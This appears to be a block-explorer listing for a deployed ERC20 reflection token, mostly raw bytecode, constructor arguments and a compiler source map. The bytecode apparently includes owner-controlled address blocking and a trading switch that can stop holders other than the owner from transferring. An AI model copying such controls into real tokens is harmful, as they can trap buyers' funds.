ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808314156128ef576000905061295c565b600082840290508284828161290057fe5b0414612957576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613a6e6021913960400191505060405180910390fd5b809150505b92915050565b60006129a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613545565b905092915050565b60006129ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613357565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613b056024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139fa6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613ae06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806139ad6023913960400191505060405180910390fd5b60008111612d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613ab76029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dfb5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e525760008114612e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff1615151480612ea65750612e7761227c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612ee35750612eb461227c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156132ed57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f8b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313e57612ffc81604051806060016040528060268152602001613a1c60269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36132e8565b6131aa81604051806060016040528060268152602001613a1c60269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133579092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613352565b60011515600a60009054906101000a900460ff16151514613351576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133c95780820151818401526020810190506133ae565b50505050905090810190601f1680156133f65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061342461360b565b9150915061343b818361296290919063ffffffff16565b9250505090565b6000808284019050838110156134c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006134fb8a6012546134f660145460135461344290919063ffffffff16565b6138b8565b925092509250600061350b613417565b9050600080600061351d8e878661394e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080831182906135f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135b657808201518184015260208101905061359b565b50505050905090810190601f1680156135e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816135fd57fe5b049050809150509392505050565b6000806000600b549050600068056bc75e2d63100000905060005b60098054905081101561386d5782600260006009848154811061364557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061372c57508160036000600984815481106136c457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561374a57600b5468056bc75e2d63100000945094505050506138b4565b6137d3600260006009848154811061375e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846129ac90919063ffffffff16565b925061385e60036000600984815481106137e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129ac90919063ffffffff16565b91508080600101915050613626565b5061388c68056bc75e2d63100000600b5461296290919063ffffffff16565b8210156138ab57600b5468056bc75e2d631000009350935050506138b4565b81819350935050505b9091565b6000806000806138e460646138d6888a6128dc90919063ffffffff16565b61296290919063ffffffff16565b9050600061390e6064613900888b6128dc90919063ffffffff16565b61296290919063ffffffff16565b9050600061393787613929858c6129ac90919063ffffffff16565b6129ac90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061396785886128dc90919063ffffffff16565b9050600061397e86886128dc90919063ffffffff16565b9050600061399582846129ac90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220784dc3a0b91b116e42aa6e88b01cd2a067a500fa13be99cb5cb0b9b6c21f5b4364736f6c63430007000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f


Deployed Bytecode Sourcemap

22737:19139:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25260:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26092:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27358:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;25537:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;41472:201;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;41155:309;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26261:313;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28121:253;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;41681:192;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;25446:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28836:479;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34153:134;;;;;;;;;;;;;:::i;:::-;;26582:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27677:436;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;34296:92;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28382:446;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;29851:123;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;40540:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;33922:105;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;25640:118;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;33813:101;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34035:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14421:141;;;;;;;;;;;;;:::i;:::-;;27085:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14248:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;25351:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26808:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;40717:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27571:98;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;25766:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27213:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;40936:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27459:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;25941:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;25260:83;25297:13;25330:5;25323:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25260:83;:::o;26092:161::-;26167:4;26184:39;26193:12;:10;:12::i;:::-;26207:7;26216:6;26184:8;:39::i;:::-;26241:4;26234:11;;26092:161;;;;:::o;27358:87::-;27400:7;27427:10;;27420:17;;27358:87;:::o;25537:95::-;25590:7;23416:20;25610:14;;25537:95;:::o;41472:201::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41573:5:::1;41558:11;:20;;41550:78;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41654:11;41639:12;:26;;;;41472:201:::0;:::o;41155:309::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41310:5:::1;41277:29;:38;;41269:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41427:29;41394:30;:62;;;;41155:309:::0;:::o;26261:313::-;26359:4;26376:36;26386:6;26394:9;26405:6;26376:9;:36::i;:::-;26423:121;26432:6;26440:12;:10;:12::i;:::-;26454:89;26492:6;26454:89;;;;;;;;;;;;;;;;;:11;:19;26466:6;26454:19;;;;;;;;;;;;;;;:33;26474:12;:10;:12::i;:::-;26454:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;26423:8;:121::i;:::-;26562:4;26555:11;;26261:313;;;;;:::o;28121:253::-;28187:7;28226;;28215;:18;;28207:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28291:19;28314:10;:8;:10::i;:::-;28291:33;;28342:24;28354:11;28342:7;:11;;:24;;;;:::i;:::-;28335:31;;;28121:253;;;:::o;41681:192::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41763:45:::1;41780:4;41787:7;:5;:7::i;:::-;41796:11;41763:8;:45::i;:::-;41819:46;41837:4;41844:7;:5;:7::i;:::-;41853:11;41819:9;:46::i;:::-;41681:192:::0;:::o;25446:83::-;25487:5;25512:9;;;;;;;;;;;25505:16;;25446:83;:::o;28836:479::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28918:11:::1;:20;28930:7;28918:20;;;;;;;;;;;;;;;;;;;;;;;;;28910:60;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;28986:9;28981:327;29005:9;:16;;;;29001:1;:20;28981:327;;;29063:7;29047:23;;:9;29057:1;29047:12;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;29043:254;;;29106:9;29135:1;29116:9;:16;;;;:20;29106:31;;;;;;;;;;;;;;;;;;;;;;;;;29091:9;29101:1;29091:12;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;29175:1;29156:7;:16;29164:7;29156:16;;;;;;;;;;;;;;;:20;;;;29218:5;29195:11;:20;29207:7;29195:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;29242:9;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29276:5;;29043:254;29023:3;;;;;;;28981:327;;;;28836:479:::0;:::o;34153:134::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34235:4:::1;34225:14;;:6;;;;;;;;;;;:14;;;34221:59;;;34251:5;34242:6;;:14;;;;;;;;;;;;;;;;;;34221:59;;;34274:4;34265:6;;:13;;;;;;;;;;;;;;;;;;34221:59;34153:134::o:0;26582:218::-;26670:4;26687:83;26696:12;:10;:12::i;:::-;26710:7;26719:50;26758:10;26719:11;:25;26731:12;:10;:12::i;:::-;26719:25;;;;;;;;;;;;;;;:34;26745:7;26719:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;26687:8;:83::i;:::-;26788:4;26781:11;;26582:218;;;;:::o;27677:436::-;27767:7;23416:20;27795:7;:18;;27787:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27865:17;27860:246;;27900:15;27924:19;27935:7;27924:10;:19::i;:::-;27899:44;;;;;;;27965:7;27958:14;;;;;27860:246;28007:23;28038:19;28049:7;28038:10;:19::i;:::-;28005:52;;;;;;;28079:15;28072:22;;;27677:436;;;;;:::o;34296:92::-;34350:4;34374:6;;;;;;;;;;;34367:13;;34296:92;:::o;28382:446::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28477:42:::1;28466:53;;:7;:53;;;;28458:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28578:11;:20;28590:7;28578:20;;;;;;;;;;;;;;;;;;;;;;;;;28577:21;28569:61;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;28663:1;28644:7;:16;28652:7;28644:16;;;;;;;;;;;;;;;;:20;28641:108;;;28700:37;28720:7;:16;28728:7;28720:16;;;;;;;;;;;;;;;;28700:19;:37::i;:::-;28681:7;:16;28689:7;28681:16;;;;;;;;;;;;;;;:56;;;;28641:108;28782:4;28759:11;:20;28771:7;28759:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;28797:9;28812:7;28797:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28382:446:::0;:::o;29851:123::-;29915:4;29939:18;:27;29958:7;29939:27;;;;;;;;;;;;;;;;;;;;;;;;;29932:34;;29851:123;;;:::o;40540:169::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40626:1:::1;40616:6;:11;;:27;;;;;40641:2;40631:6;:12;;40616:27;40608:66;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;40695:6;40685:7;:16;;;;40540:169:::0;:::o;33922:105::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34015:4:::1;33997:5;:15;34003:8;33997:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;33922:105:::0;:::o;25640:118::-;25706:7;25734;:16;25742:7;25734:16;;;;;;;;;;;;;;;;25727:23;;25640:118;;;:::o;33813:101::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33901:5:::1;33883;:15;33889:8;33883:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;33813:101:::0;:::o;34035:110::-;34098:4;34122:5;:15;34128:8;34122:15;;;;;;;;;;;;;;;;;;;;;;;;;34115:22;;34035:110;;;:::o;14421:141::-;14494:1;14476:20;;:6;;;;;;;;;;:20;;;14468:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14542:12;;;;;;;;;;;14533:6;;:21;;;;;;;;;;;;;;;;;;14421:141::o;27085:120::-;27153:4;27177:11;:20;27189:7;27177:20;;;;;;;;;;;;;;;;;;;;;;;;;27170:27;;27085:120;;;:::o;14248:79::-;14286:7;14313:6;;;;;;;;;;;14306:13;;14248:79;:::o;25351:87::-;25390:13;25423:7;25416:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25351:87;:::o;26808:269::-;26901:4;26918:129;26927:12;:10;:12::i;:::-;26941:7;26950:96;26989:15;26950:96;;;;;;;;;;;;;;;;;:11;:25;26962:12;:10;:12::i;:::-;26950:25;;;;;;;;;;;;;;;:34;26976:7;26950:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;26918:8;:129::i;:::-;27065:4;27058:11;;26808:269;;;;:::o;40717:211::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40821:1:::1;40805:12;:17;;:39;;;;;40842:2;40826:12;:18;;40805:39;40797:84;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;40908:12;40892:13;:28;;;;40717:211:::0;:::o;27571:98::-;27619:7;27646:15;;;;;;;;;;;27639:22;;27571:98;:::o;25766:167::-;25844:4;25861:42;25871:12;:10;:12::i;:::-;25885:9;25896:6;25861:9;:42::i;:::-;25921:4;25914:11;;25766:167;;;;:::o;27213:137::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27334:8:::1;27304:18;:27;27323:7;27304:27;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;27213:137:::0;;:::o;40936:211::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41040:1:::1;41024:12;:17;;:39;;;;;41061:2;41045:12;:18;;41024:39;41016:84;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;41127:12;41111:13;:28;;;;40936:211:::0;:::o;27459:100::-;27508:7;27535:16;;;;;;;;;;;27528:23;;27459:100;:::o;25941:143::-;26022:7;26049:11;:18;26061:5;26049:18;;;;;;;;;;;;;;;:27;26068:7;26049:27;;;;;;;;;;;;;;;;26042:34;;25941:143;;;;:::o;4637:471::-;4695:7;4945:1;4940;:6;4936:47;;;4970:1;4963:8;;;;4936:47;4995:9;5011:1;5007;:5;4995:17;;5040:1;5035;5031;:5;;;;;;:10;5023:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5099:1;5092:8;;;4637:471;;;;;:::o;5573:132::-;5631:7;5658:39;5662:1;5665;5658:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;5651:46;;5573:132;;;;:::o;3765:136::-;3823:7;3850:43;3854:1;3857;3850:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3843:50;;3765:136;;;;:::o;108:106::-;161:15;196:10;189:17;;108:106;:::o;29982:337::-;30092:1;30075:19;;:5;:19;;;;30067:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30173:1;30154:21;;:7;:21;;;;30146:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30257:6;30227:11;:18;30239:5;30227:18;;;;;;;;;;;;;;;:27;30246:7;30227:27;;;;;;;;;;;;;;;:36;;;;30295:7;30279:32;;30288:5;30279:32;;;30304:6;30279:32;;;;;;;;;;;;;;;;;;29982:337;;;:::o;30327:1095::-;30442:1;30424:20;;:6;:20;;;;30416:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30526:1;30505:23;;:9;:23;;;;30497:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30596:1;30587:6;:10;30579:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30658:5;:13;30664:6;30658:13;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;30675:5;:16;30681:9;30675:16;;;;;;;;;;;;;;;;;;;;;;;;;30658:33;30654:73;;;30721:1;30711:6;:11;30703:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30654:73;30752:4;30742:14;;:6;;;;;;;;;;;:14;;;:35;;;;30770:7;:5;:7::i;:::-;30760:17;;:6;:17;;;30742:35;:59;;;;30794:7;:5;:7::i;:::-;30781:20;;:9;:20;;;30742:59;30738:677;;;30818:18;:26;30837:6;30818:26;;;;;;;;;;;;;;;;;;;;;;;;;:60;;;;;30849:18;:29;30868:9;30849:29;;;;;;;;;;;;;;;;;;;;;;;;;30848:30;30818:60;30814:525;;;30909:69;30929:6;30909:69;;;;;;;;;;;;;;;;;:7;:15;30917:6;30909:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;30891:7;:15;30899:6;30891:15;;;;;;;;;;;;;;;:87;;;;31010:30;31033:6;31010:7;:18;31018:9;31010:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;30989:7;:18;30997:9;30989:18;;;;;;;;;;;;;;;:51;;;;31073:9;31056:35;;31065:6;31056:35;;;31084:6;31056:35;;;;;;;;;;;;;;;;;;30814:525;;;31147:69;31167:6;31147:69;;;;;;;;;;;;;;;;;:7;:15;31155:6;31147:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;31129:7;:15;31137:6;31129:15;;;;;;;;;;;;;;;:87;;;;31252:30;31275:6;31252:7;:18;31260:9;31252:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;31231:7;:18;31239:9;31231:18;;;;;;;;;;;;;;;:51;;;;31319:9;31302:35;;31311:6;31302:35;;;31330:6;31302:35;;;;;;;;;;;;;;;;;;30814:525;30738:677;;;31390:4;31380:14;;:6;;;;;;;;;;;:14;;;31371:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30738:677;30327:1095;;;:::o;4195:192::-;4281:7;4314:1;4309;:6;;4317:12;4301:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4341:9;4357:1;4353;:5;4341:17;;4378:1;4371:8;;;4195:192;;;;;:::o;39610:163::-;39651:7;39672:15;39689;39708:19;:17;:19::i;:::-;39671:56;;;;39745:20;39757:7;39745;:11;;:20;;;;:::i;:::-;39738:27;;;;39610:163;:::o;3310:181::-;3368:7;3388:9;3404:1;3400;:5;3388:17;;3429:1;3424;:6;;3416:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3482:1;3475:8;;;3310:181;;;;:::o;38305:518::-;38364:7;38373;38382;38391;38400;38409;38430:23;38455:12;38469:30;38503:63;38515:7;38524;;38533:32;38551:13;;38533;;:17;;:32;;;;:::i;:::-;38503:11;:63::i;:::-;38429:137;;;;;;38577:19;38599:10;:8;:10::i;:::-;38577:32;;38621:15;38638:23;38663:12;38679:39;38691:7;38700:4;38706:11;38679;:39::i;:::-;38620:98;;;;;;38737:7;38746:15;38763:4;38769:15;38786:4;38792:22;38729:86;;;;;;;;;;;;;;;;;;;38305:518;;;;;;;:::o;6190:278::-;6276:7;6308:1;6304;:5;6311:12;6296:28;;;;;;